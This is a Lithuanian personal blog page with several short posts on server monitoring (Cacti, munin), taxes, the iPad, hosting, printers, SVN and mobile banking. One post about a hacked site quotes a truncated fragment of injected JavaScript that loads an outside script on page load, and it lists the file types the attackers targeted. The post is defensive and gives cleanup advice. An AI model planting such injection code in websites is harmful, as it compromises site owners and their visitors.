Nori gauti straipsnius el. paštu - Prenumeruok

Straipnsių kategorija: Blevyzgos

Cacti – resursų stebėjimas

Prieš pusę metų rašiau apie panašų skirtą munin leidžiantį stebėti serverio resursų grafikus. Per PHP konferenciją sužinojau apie alternatyvą cacti, kuris leidžia taip pats stebėti norimo serverio resursus: apkrovimas, cpu, atmintis, mysql ir t.t Tam yra prirašyta daug įvairiausių pluginų (cactiusers , google code projekte ir t.t). Jis tiesa pasakius man labiau patiko nei munin.

Įsivaizduokite, kad šio įrankio pagalba galite matyti, kad ir jūsų spausdintuvo kasečių būseną, ar kokių servisų aktyvumą (tarkim lėktuvų skrydžių api kvietimus ir stebėjimas ar jie pavyko ar ne). Kadangi visa sistema parašytą su PHP tai pluginai ganėtinai lengvai yra rašomi su šia programavimo kalba.
Dabar tereikia tik surasti kritinius sau reikalingus savo projektuose servisus ir pasirašyti pluginą.

Norėjau tiesa tokio resursų stebėjimo, kadangi paprastai lietuvių hostingo tiekėjai neteikia informacijos apie VDS statusus, reikia turėti savo. Prieš kelias dienas serveriai.lt paleido galimybę matyti interneto sunaudojimo, apkrovimo, atminties bei talpos grafikus. Žinoma galėtų tokių būti ir daugiau: apache, mysql stebėjimai. Bei galėtų ateiti pranešimai apie pašto, http, mysql būsenas (veikia/neveikia). Gal dar patobulins? Laukiam…

Vakstybės credo – žlugdyk smulkujį verslą

Norėčiau pasveikinti mūsų valdžią kurios credo tampa – sužlugdykim smulkųjį verslą. Štai keli:

  • Individualios įmonės sąvininkas privalo uždirbti, ben minimumą.
  • Jei jūs esate ne PVM mokėtojas, bet užsisakote ar suteikiate paslaugas užsienio PVM mokėtojui – automatiškai tampate PVM mokėtojas. PVZ užsisakote google adwords – tampi PVM mokėtojas, gauni dotaciją kokią išvažiuoti į užsienį – tampi PVM mokėtoju (bo viešbučiai, autobusai, traukiniai tikrai bus PVM mokėtojai)

P.S. yra ir daugiau… tik reikia gilintis

Ačiū, gal reikia paremti valstybę tik idėjiškai?

Apple iPad – peraugęs iPhone

Apple pristatė savo naująjį ale “nišinį” gaminį kuris turėtų būti tarp telefono bei kompiuterio. Susigulėjus mintims po vakarykščio galima teigti kelias mintis, beveik neminintis grožio kas matyt aprašyme ir prezentacijose.

  • Jis yra tiesiog peraugęs iphone su visais iphone privalumais ir trūkumais
  • Pasirinkimas daryti iphone based nėra visiškai sveikintinas dalykas. Programos kurtos mažam ekranui, tikrai neatrodys patraukliai. Tiesiog turi būti atskira programų rinka šitam žaisliukui, anksčiau ar vėliau tai susiklostys…
  • Tokia ekrano erdvė ir nėra multitaskingo? Dar ant iphone kažkiek suprantu, bet tokio tipo aparate jis privalo būti. Naršau svetainėje, tad tikrai noriu pažiūrėti staigiai paštą ar twiterį ir vėl grįžti prie ankstesnio darbo.
  • Jei jį naudoti darbui programų tekstams/prezentacijoms ir nėra bendrai prieinamos failų sistemos tai tikrai FAIL. Juk noriu aš bet kada lengvai prisegti, bet kokį dokumentą (bet kokio tipo) prie laiško, o ne tik taip kaip apple numatė.
  • Ekranas galėtų būti labiau wildscreen, tada tikrai būtų tinkamesnis filmų peržiūrai
  • Jungtys… ir vėl minimalizmas. Turėdamas tokį įrenginį norėčiau įkelti nuotraukas per USB ar SD kortelę :). Juk taip gražiai parodė savo nuotraukų programą
  • Neminint elementarių trūkumų žavi naršymo smagumas, galimybės e-laikraščiams ir e-žurnalams.
  • Ar norėčiau turėti? Tikrai taip. O pirkti? Smarkiai abejoju, bent tikrai ne šios kartos jį tikrai dar reikia stipriai patobulinti. Tikrai tikėjausi labiau WOW ir galingesnio funkcionalumo.

Jei pas jus įsilaužė į svetainę

Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(‘script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);[.. ir t.t. ..] catch(e) {}

Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.

Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.

Ką tokiu atveju daryti?

  • Visų pirma pasikeisti FTP slaptažodžius
  • Žinoma, naikinti kodus (nesmagus užsiėmimas)
  • Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
  • Ką dar siūlote?

Svetainės talpinimas ir serverio resursai

Vienas iš dažniausiai iškylančių klausimų prieš paleidžiant, bet kokį projektą – kokį talpinimo planą pasirinkti. Paprastai firmos svetainei / blogui dažniausiai užtenka paprasčiausio plano (shared hosting). Didėjant programinės įrangos reikalavimams (tarkim e-shop) ar vartotojų kiekiui reikia vis galigesnio serverio.

Naudojant pigiausiais talpinimo planus dažniausiai net nereikia rūpintis nei serverio priežiūra, nei resursų stebėjimų. Bet būna įvairiausių išimčių. Blogiausiai yra tuomet, kai vartotojas gauna pranešimą: “Informuojame, kad jūsų talpinamos interneto svetainės itin smarkiai apkrauna mūsų serverio centrinį procesorių (CPU), todėl trikdo kitų klientų tame pačiame serveryje patalpintų svetainių darbą.“  ir siūlo pasirinkti brangesnį dedicated planą. Vartotojas paprastai jokių įrodymų negauna.

Nuomojant bent dalį serverio (dedicated hosting) situacija yra kitokia. Kadangi jūs patys turite pasirinkimo teisę kokią serverio programinę įrangą instaliuoti, galima įdiegti papildomus serverio resursų stebėjimo komponentus. Ką reikia stebėti? Kad ir vienas iš svarbių parametrų operatyviąją atmintį. Įsivaizduokite, kad atidarant tam tikrą puslapį sunaudojama 10MB atminties. Paprastai pigiausių dedicated serverių apribojama iki 256MB, 512MB, tad nesunkiai galima paskaičiuoti, kiek vartotojų vienu metu gali lankytis, be trukdžių (papildomas laukimas, puslapio atidarymo greitis). O dar nereikia pamiršti, kad operatyviąją atmintį naudoja ir serverio programinė įrangą (duomenų bazės, apache, el. paštas servisai ir t.t). Žinoma vienu metu 20-50 vartotojų jau yra tikrai nemažai (tai gali būti ir  >50-60 tūkstančių parodymų per valandą!), bet dideliuose projektuose, bei piko metu tai gali laisvai nutikti.

Todėl būtina stebėti serverio resursus norint turėti nuoseklų serverio darbą. Viena iš rekomenduotinų priemonių munin. Šią programa gan nesunkiai galima instaliuoti ir galima surasti tikrai naudingų pluginų (o suinteresuotiems pasirašyti, kad ir savo).

Suinstaliavus ir per laiką gavus tam tikrą statistiką, daug lengviau daryti išvadas reikia ar ne galingesnės sistemos.

Spausdink taupiai iki A3 formato su HP Officejet 7000 Wide.

Šio sunkmečio laikais visi bando prisitaikyti, pasiūlyti efektyvius sprendimus. Viena iš galimybių – taupyti. Šiam tikslui HP pristatė dar vieną savo šeimos narį HP Officejet 7000 Wide.  Šis spausdintuvas leidžia sutaupyti iki 40% lėšų kasečių atnaujinimams bei energijos sunaudojimą lyginant su lazeriniais spausdintuvais.

0519hp

Šiek tiek apie technines printerio savybes. Printerį galite pajungti tiek USB 2.0, tiek tinklo kabeliu. Spausidinimo greitis iki 33 lapų per minutę. Šis printeris leidžia atspausdinti net A3+ formato lapą. Tad įsivaizduokite, kad galite atsispausdinti tokio dydžio brangiausias užfiksuotas akimirkas (vestuvės, šventė ir t.t) ar atspausdinti tokio dydžio reklamą. Spausdinimo tankis iki 600 taškų colyje tekstui, spalvotiems – 4800×1200. Yra galimybė spaudinti be parasčių. Mane vis dar žavi savybė ta, kad naudojamos 4 atskiros spalvų kasetės, o juodai galima naudoti ir jos padidinta variantą.

Printeris yra tikrai paprastas ir jį galima labiau priskirti smulkiom įmonėms, kurios nori pačios spausdintis savo reklmai (savireklamai) ataskaitom ar pasiūlymams. Tiesa pasakius ne visiems yra reikalinga savybė spausdinti didelius A3 formato lapus tad galima pasirinkti panašių savybių mažesnį spausdintuvą HP Officejet 6000.

Mokytis niekada nepervėlu

Mokytis bei tobulėti galima visą gyvenimą. Tuomet gali atrasti naujų idėjų ar pašaukimų.  Mokytis galima pačiam, bet nėra taip įdomu kai galima tai padaryti šimtus kilometrų už Lietuvos. Suaugusiems šią galimybę suteikia Grundtvig. Grundtvig remia suaugusiųjų švietimą ir kitas galimybes. Suaugusiųjų švietimas grindžiamas idėja, kad žmogus turi teisę mokytis visą gyvenimą, o visuomenės pareiga – sudaryti sąlygas to siekiantiems.
Liepos mėnesio pradžioje dalyvavau vienam tokių projektų “Aukštos kokybės audiovizualinių eMokymosi ir sklaidos priemonių švietime kūrimas“  kuris buvo remiamas ES (pr.nr. LLP-GRU-KT-2009-LT-00051). Šio mažo projektuko tikslas išmokyti dalyvius kurti (filmuoti / redaguoti) audiovizualinius kūrinius. Bandėme sukurti mini filmukus kelias stiliais (interviu, dokumentika, reportažas).  O sukurtus video po to redagavome. Žinoma tokie projektai kartu skirti ir kitos kultūros pažinimui, bei bendravimui. Tad tiesa pasakius man jau norisi sugrįžti atgal į Italiją…

SVN dalinis eksportavimas

Ne paslaptis, kad bet kokia svetainė yra kuriama pradžioje darbiniame kompiuteryje, o tik po to perkeliama. Daugiau patyrę programuotojai tikrai džiaugiasi versijų kontrolėmis (cvs / svn / git ), kurios padeda atlikti didelius darbus tam tikrose situacijos.
Vienas iš (mažų/didelių) galvos skausmų yra svetainės atnaujinimas. Problema yra ta, kad ne visada prisimeni kokie failai keitėsi nuo paskutinio atnaujinimo. O kopijuoti viską iš naujo yra tiesiog laiko švaistymas.

Šiandien atradau (suradau) būdą kaip realizuoti dalinį eksportavimą svn, kuris leidžia gauti atnaujinimus nuo jūsų pasirinkto revisono. Deja to builtin nėra.

Šiektiek pagooglines atradau, kad tai galima realizuoti per konsolę su gatavu scriptuku (unix/macosx),  python pagalba ar java. Taip bus galima daug greičiau atnaujinti svetaines ir nerekės siųsti viso didžiulio katalogo ar žaisti po vieną failą.

Akcijos atrakcijos pas MacHeist – smagu ir naudinga

nav-logoPrograminė įranga dažnai yra brangi. Tad visuomet verta ieškoti nemokamų alternatyvų arba gaudyti akcijas. Apple mac vartotojams tokią galimybę sudaro MacHeist. Kuri šiuo metu siūlo įsigyti dvylika programų už 39$. Pirkdami visas šias programas kartu jūs sutaupytumėte net 627$. Žinoma ne visos yra naudingos, bent aš jau pradėjau gundytis dėl keletos jų.

Be to visiems yra dovanojamas EventBox, leidžiantis turėti keletą internetinių tarnybų vienoje vietoje (google reader, twitteris, facebook, flickr ..)

Negana to jūs galite gauti dar programų nemokamai už vieną paprastą tvyturiuką

Skanaus naudojimo

Swedbank modernesnis mobilus bankas

Įsivaizduokite situaciją, kad jūs prisikrovę pilną vežimą maisto produktų Maximoje (laukia didelis vakarėlis) suvokiate, kad grynų neturite pasiėmę. Pagrindinę banko kortelę pasirodo palikta namuose (o gal tiesiog PIN kodą pamiršote), bet jūs turite kitą kortelę (tarkim VISA), kuri surišta su kita sąskaita ir ten pinigų tarkim nėra. Ką daryt?

Tiesa pasakius buvau pakliuvęs į tokią situaciją, o sprendimas buvo labai paprastas – prisijungti prie banko, ir pervesti pinigus. Naudojant iPhone telefoną tam kliūčių visiškai nėra, tiesiog prisijungdavau prie normalios versijos ir persivesdavau pinigus. Žinojau, kad Swedbank turėjo ir paprastą mobiliąją versiją (kažkada buvau prisijungęs)  bet ji buvo nepatogi ir man nenaudotina.

Šiandien atradau, kad mobilioji versija yra stipriai pasikeitus, jos dizainas pritaikytas iPhone tipo telefonams. Prisijungus, galima atlikti vietinius mokėjimus, peržiūrėti sąskaitų išrašus,likučius bei valiutų kursus.

Tiesa pasakius matosi, kad ši versija dar nepabaigta ir nėra pakankamai tobula. Ką reiktų dar pakeisti?

  • Sąskaitų išrašą norėčiau matyti daugiau nei vieną puslapį informacijos
  • Galimybės susimokėti už paslaugas, e-sąskaitas
  • Kontaktai puslapis yra visiškai nesutvarkytas. Ten reikėtų daugiau informacijos apie arčiausius bankomatus / filialus

O jei prireiks pilno funkcionalumo – tiesiog prisijungsiu prie normalios versijos. O ko trūksta jums?